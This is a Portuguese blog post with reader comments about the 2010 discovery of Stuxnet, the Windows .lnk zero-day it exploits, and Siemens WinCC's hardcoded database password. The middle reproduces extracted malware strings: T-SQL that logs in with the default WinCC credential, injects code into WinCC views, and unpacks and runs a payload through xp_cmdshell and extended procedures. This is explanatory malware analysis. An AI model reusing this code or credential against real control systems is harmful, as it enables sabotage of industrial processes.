E então a profecia se realiza! O que era apenas uma suposição, bastante provável é verdade, se concretizou: o primeiro vírus especificamente escrito para atacar um sistema SCADA está fazendo vítimas por aí. O vírus, chamado Stuxnet, recentemente descoberto por uma empresa de segurança Russa, explora uma falha grave do Windows “Vulnerability in Windows Shell Could Allow Remote Code Execution” que ainda não possui correção (0-day) disponibilizada pela MS, ou seja, ainda não existe um patch contra ela, mas alguns “workarounds” já estão disponíveis (voltarei a isso mais tarde). Segundo análise, o vírus é capaz de contaminar máquinas rodando Windows 2000, XP, Vista e Windows 7, além das versões Server 2003 e 2008 (humm, peraí.. se eu contei certo, então todas as versões estão vulneráveis!). E como o exploit já é público (existe um PoC publicado usando o protocolo WebDAV como vetor), logo muitas variantes estarão disponíveis, além do clássico “upgrade” na capacidade de infecção dos milhares de botnets que rodam por aí.
O vírus foi encontrado através de pen-drives USB infectados que uma vez inserido numa máquina vulnerável, utiliza a falha (vulnerabilidade) acima para infectá-la, mas uma análise mais detalhada mostrou que o vírus se replica para todos os compartilhamentos de rede disponíveis para escrita que o vírus encontrar (ou seja todos os shares que o usuário possui privilégios de escrita) e a partir destas pastas, pode infectar toda a rede, pois basta que um usuário apenas navegue por uma destas pastas para que sua máquina também seja infectada. Não é preciso clicar ou executar nenhum link ou programa, basta abrir uma pasta que contenha o arquivo com o exploit do vírus para que a contaminação aconteça.
Toda essa facilidade para se propagar só é possível graças aos inúmeros métodos de propagação (vetores) que o exploit pode utilizar para invadir a máquina, e destes, o vírus está utilizando um simples arquivo do tipo “atalho” do Windows, ou seja, arquivos com a extensão “.lnk”. A falha está no modo com o shell do Windows renderiza algumas informações do ícone e essas informações são processadas logo que acessamos a pasta (já notaram quando entramos numa pasta com arquivos de vídeo ou música quanta informação aparece nas colunas do explorer?), daí “game-over“.
Até aí vejamos, vulnerabilidade sem correção, drive USB infectado, replicação para pastas compartilhadas… nada de novo! Já vimos este filme muitas vezes, então o que há de tão especial neste vírus? Aqui o negócio fica mais sério. Vejamos parte do output da dissecação do código do vírus feita pelo pesquisador Frank Boldewin:
CODE:
SOFTWARE\Microsoft\MSSQLServer
pdl
GracS\
2WSXcder
WinCCConnect
master
.\WinCC
sqloledb
GracS\cc_tlg7.sav
Step7\Example
use [%s]
declare @t varchar(4000), @e int, @f int if exists (select text from dbo.syscomments where id=object_id(N'[dbo].[MCPVREADVARPERCON]')) select @t=rtrim(text) from dbo.syscomments c, dbo.sysobjects o where o.id = c.id and c.id = object_id(N'[dbo].[MCPVREADVARPERCON]') set @e=charindex(',openrowset',@t) if @e=0 set @t=right(@t,len(@t)-7) else begin set @f=charindex('sp_msforeachdb',@t) if @f=0 begin set @t=left(@t,@e-1) set @t=right(@t,len(@t)-7) end else select * from fail_in_order_to_return_false end set @t='alter '+@t+',openrowset(''SQLOLEDB'',''Server=.\WinCC;uid=WinCCConnect;pwd=2WSXcder'',''select 0;set IMPLICIT_TRANSACTIONS off;declare @z nvarchar(999);set @z=''''use [?];declare @t nvarchar(2000);declare @s nvarchar(9);set @s=''''''''--CC-S''''''''+char(80);if left(db_name(),2)=''''''''CC'''''''' select @t=substring(text,charindex(@s,text)+8,charindex(''''''''--*'''''''',text)-charindex(@s,text)-8) from syscomments where text like (''''''''%''''''''+@s+''''''''%'''''''');if @t is not NULL exec(@t)'''';exec sp_msforeachdb @z'')' exec (@t)
declare @t varchar(4000), @e int, @f int if exists (select * from dbo.syscomments where id=object_id(N'[dbo].[MCPVPROJECT2]')) select @t=rtrim(c.text) from dbo.syscomments c, dbo.sysobjects o where o.id = c.id and c.id = object_id(N'[dbo].[MCPVPROJECT2]') order by c.number, c.colid set @e=charindex('--CC-SP',@t) if @e=0 begin set @f=charindex('where',@t) if @f<>0 set @t=left(@t,@f-1) set @t=right(@t,len(@t)-6) end else select * from fail_in_order_to_return_false set @t='alter '+@t+' where ((SELECT top 1 1 FROM MCPVREADVARPERCON)=''1'') --CC-SP use master;declare @t varchar(999),@s varchar(999),@a int declare r cursor for select filename from master..sysdatabases where (name like ''CC%'') open r fetch next from r into @t while (@@fetch_status<>-1) begin set @t=left(@t,len(@t)-charindex(''\'',reverse(@t)))+''\GraCS\cc_tlg7.sav'';exec master..xp_fileexist @t,@a out;if @a=1 begin set @s = ''master..xp_cmdshell ''''extrac32 /y "''+@t+''" "''+@t+''x"'''''';exec(@s);set @t = @t+''x'';dbcc addextendedproc(sp_payload,@t);exec master..sp_payload;exec master..sp_dropextendedproc sp_payload;break; end fetch next from r into @t end close r deallocate r --*' exec (@t)
use master
select name from master..sysdatabases where filename like N'%s'
exec master..sp_attach_db 'wincc_svr',N'%s',N'%s'
exec master..sp_detach_db 'wincc_svr'
use wincc_svr
or
SOFTWARE\SIEMENS\WinCC\Setup
STEP7_Version
SOFTWARE\SIEMENS\STEP7
SOFTWARE\Microsoft\Windows\CurrentVersion\MS-DOS Emulation
NTVDM TRACE
.MCP
.zip
~DT
%s\WINCC
DECLARE @vr varchar(256) SET @vr = CONVERT(varchar(256), (SELECT serverproperty('productversion') )) IF @vr > '9' BEGIN
EXEC sp_configure 'show advanced options', 1 RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'Ole Automation Procedures', 1
RECONFIGURE WITH OVERRIDE END
DECLARE @ashl int, @aind varchar(260), @ainf varchar(260), @hr int EXEC @hr = sp_OACreate 'WScript.Shell', @ashl OUT IF @hr <> 0 GOTO endq EXEC sp_OAMethod @ashl, 'ExpandEnvironmentStrings', @aind OUT, '%%ALLUSERSPROFILE%%' SET @ainf = @aind + '\sql%05x.dbi' DECLARE @aods int,
@adss int,
@aip int,
@abf varbinary(4096) EXEC @hr = sp_OACreate 'ADODB.Stream', @aods OUT IF @hr <> 0 GOTO endq EXEC @hr = sp_OASetProperty @aods, 'Type', 1 IF @hr <> 0 GOTO endq EXEC @hr = sp_OAMethod @aods, 'Open', null IF @hr <> 0 GOTO endq SET @adss = ( SELECT DATALENGTH(abin) FROM sysbinlog ) SET @aip = 1 WHILE ( @aip <= @adss ) BEGIN SET @abf = ( SELECT SUBSTRING (abin, @aip, 4096 ) FROM sysbinlog ) EXEC @hr = sp_OAMethod @aods, 'Write', null, @abf IF @hr <> 0 GOTO endq SET @aip = @aip + 4096 END EXEC @hr = sp_OAMethod @aods, 'SaveToFile', null, @ainf, 2 IF @hr <> 0 GOTO endq EXEC sp_OAMethod @aods, 'Close', null endq:
EXEC sp_dropextendedproc sp_dumpdbilog
DECLARE @ashl int, @aind varchar(260), @ainf varchar(260), @hr int EXEC @hr = sp_OACreate 'WScript.Shell', @ashl OUT IF @hr <> 0 GOTO endq EXEC sp_OAMethod @ashl, 'ExpandEnvironmentStrings', @aind OUT, '%%ALLUSERSPROFILE%%' SET @ainf = @aind + '\sql%05x.dbi' EXEC sp_addextendedproc sp_dumpdbilog, @ainf EXEC sp_dumpdbilog EXEC sp_dropextendedproc sp_dumpdbilog endq:
DECLARE @ashl int, @aind varchar(260), @ainf varchar(260), @hr int EXEC @hr = sp_OACreate 'WScript.Shell', @ashl OUT IF @hr <> 0 GOTO endq EXEC sp_OAMethod @ashl, 'ExpandEnvironmentStrings', @aind OUT, '%%ALLUSERSPROFILE%%' SET @ainf = @aind + '\sql%05x.dbi' DECLARE @fs int EXEC @hr = sp_OACreate 'Scripting.FileSystemObject', @fs OUT IF @hr <> 0 GOTO endq EXECUTE sp_OAMethod @fs, 'DeleteFile', NULL, @ainf endq:
DROP TABLE sysbinlog
0123456789ABCDEF
CREATE TABLE sysbinlog ( abin image ) INSERT INTO sysbinlog VALUES(0x
%SystemRoot%\system32\netapi32.dll
%SystemRoot%\system32\kernel32.dll
.xp_cmdshell ''''extrac32 /y "''+@t+''" "''+@t+''x"'''''';exec(@s);set @t = @t+''x'';dbcc addextendedproc(sp_run,@t);exec master..sp_run;')
view MCPVREADVARPERCON as select MCPTVARIABLEDESC.VARIABLEID,MCPTVARIABLEDESC.VARIABLETYPEID,MCPTVARIABLEDESC.FORMATFITTING,MCPTVARIABLEDESC.SCALEID,MCPTVARIABLEDESC.VARIABLENAME,MCPTVARIABLEDESC.ADDRESSPARAMETER,MCPTVARIABLEDESC.PROTOKOLL,MCPTVARIABLEDESC.MAXLIMIT,MCPTVARIABLEDESC.MINLIMIT,MCPTVARIABLEDESC.STARTVALUE,MCPTVARIABLEDESC.SUBSTVALUE,MCPTVARIABLEDESC.VARFLAGS,MCPTVARIABLEDESC.CONNECTIONID,MCPTVARIABLEDESC.VARPROPERTY,MCPTVARIABLEDESC.CYCLETIMEID,MCPTVARIABLEDESC.LASTCHANGE,MCPTVARIABLEDESC.ASDATASIZE,MCPTVARIABLEDESC.OSDATASIZE,MCPTVARIABLEDESC.VARGROUPID,MCPTVARIABLEDESC.VARXRES,MCPTVARIABLEDESC.VARMARK,MCPTVARIABLEDESC.SCALETYPE,MCPTVARIABLEDESC.SCALEPARAM1,MCPTVARIABLEDESC.SCALEPARAM2,MCPTVARIABLEDESC.SCALEPARAM3,MCPTVARIABLEDESC.SCALEPARAM4 from MCPTVARIABLEDESC
((SELECT top 1 1 FROM MCPVREADVARPERCON)='1') --CC-SP
0;set IMPLICIT_TRANSACTIONS off;declare @z nvarchar(999);set @z=''use [?];declare @t nvarchar(2000);declare @s nvarchar(9);set @s=''''--CC-S''''+char(80);if left(db_name(),2)=''''CC'''' select @t=substring(text,charindex(@s,text)+8,charindex(''''--*'''',text)-charindex(@s,text)-8) from syscomments where text like (''''%''''+@s+''''%'''');if @t is not NULL exec(@t)'';exec sp_msforeachdb @z')
Entendeu alguma coisa? Não? Tudo bem, eu explico: o código procura e se estiver instalado, executa uma série de procedimentos no banco de dados do sistema SIEMENS Simatic WinCC SCADA System, nada mais nada menos que um dos mais utilizados sistemas SCADA do planeta (ok, não é líder eu sei, mas é muito usado). A plataforma PCS 7 também está vulnerável. A Siemens tratou de colocar toda a culpa na Microsoft, porém a cada peça do quebra-cabeças a história fica mais interessante: se o vírus contaminou a máquina usando os privilégios do usuário, mesmo ele sendo um usuário comum sem privilégios, como ainda assim o vírus consegue acesso total ao banco de dados do WinCC? Ah, aí o negócio fica mais sério ainda: Porque a Siemens implantou um backdoor no sistema. Isso mesmo você leu direito!, um backdoor. Todo sistema WinCC vem de fábrica com este maravilhoso brinde, um usuário e senha, codificados dentro do sistema utilizando uma senha padrão. Maravilha não?! E qual foi a resposta da Siemens? “Não modifiquem suas senhas ou o sistema pode parar de funcionar, interrompendo seus processos”. E recomendou o uso de um “bom” antivírus padrão. Uau! Não troque a senha padrão de conhecimento geral? Use um antívirus numa máquina de controle, assim como se fosse um desktop de escritório? O que é isso Siemens?
Primeiro, trocar a senha seria uma boa idéia, mas a Siemens disse para não tocar nisso, então eu recomendo seguir o conselho, pois sabe-se lá quais outras surpresas estão embutidas neste código que se utilizam desta senha. Segundo, usar antivírus numa máquina de controle nem sempre é uma boa idéia. Vocês sabem que não se trata de uma máquina rodando MS Office, mas sim processos críticos, que necessitam de dedicação exclusiva da CPU etc. Além disso, ninguém vai querer um antivírus removendo ou bloqueando acesso a arquivos destes sistemas só porque ele os achou “suspeitos”. Logo, siga com muita cautela aí, pois um scan pode lhe causar até mais problemas do que trazer soluções. Segundo a própria Siemens:
“There are already three virus scan programs recommended for Siemens systems from Trend Micro, McAfee and Symantec, the latest versions of which can detect the Trojan. The effect of deploying these programs on the runtime environment are currently being analyzed and an approval will be issued shortly.“
Veja a parte em negrito “os efeitos do uso do antívirus estão sendo avaliados e uma aprovação para uso será publicada em breve”. Enquanto isso, novas variantes vão sendo lançados e todos sabemos que nenhum destes antívirus conseguem acompanhar a velocidade destes lançamentos…
Mas apesar destas primeiras recomendações não serem lá as melhores, a Siemens informou que em breve irá publicar um site com todas as informações e guias para auxiliar seus clientes na melhor forma de mitigar e se proteger contra o problema. Por enquanto os usuários devem aguardar.

Excelente artigo.
O backdoor no sistema WinCC vc descobriu antes ou depois do Stuxnet ficar famoso após intervir na rotação das centrifugas do Irã ? E, pq vc o trata como novo?
parabéns pelo blog
Olá idpol, obrigado pelo comentário. Veja, eu o chamo de “novo”, pois o post foi publicado em 22 de julho de 2010. Naquela época ele ainda era novo…
Desculpe-me a insistência mas, o backdoor no sistema WinCC vc descobriu antes ou depois do Stuxnet ficar famoso? Se quiser pode responder no twitter, o nick é o mesmo.
Caro idpol, não descobri o backdoor, conforme vc pode ler seguindo os links de referência presentes no artigo. Somente traduzi para o artigo o que diz o código em “linguagem de máquina”.
Obrigado por responder. É uma pena que a Siemmens “pratique” algo dessa natureza. Estamos num dilema longe de nos protegermos.
+1vez Obg…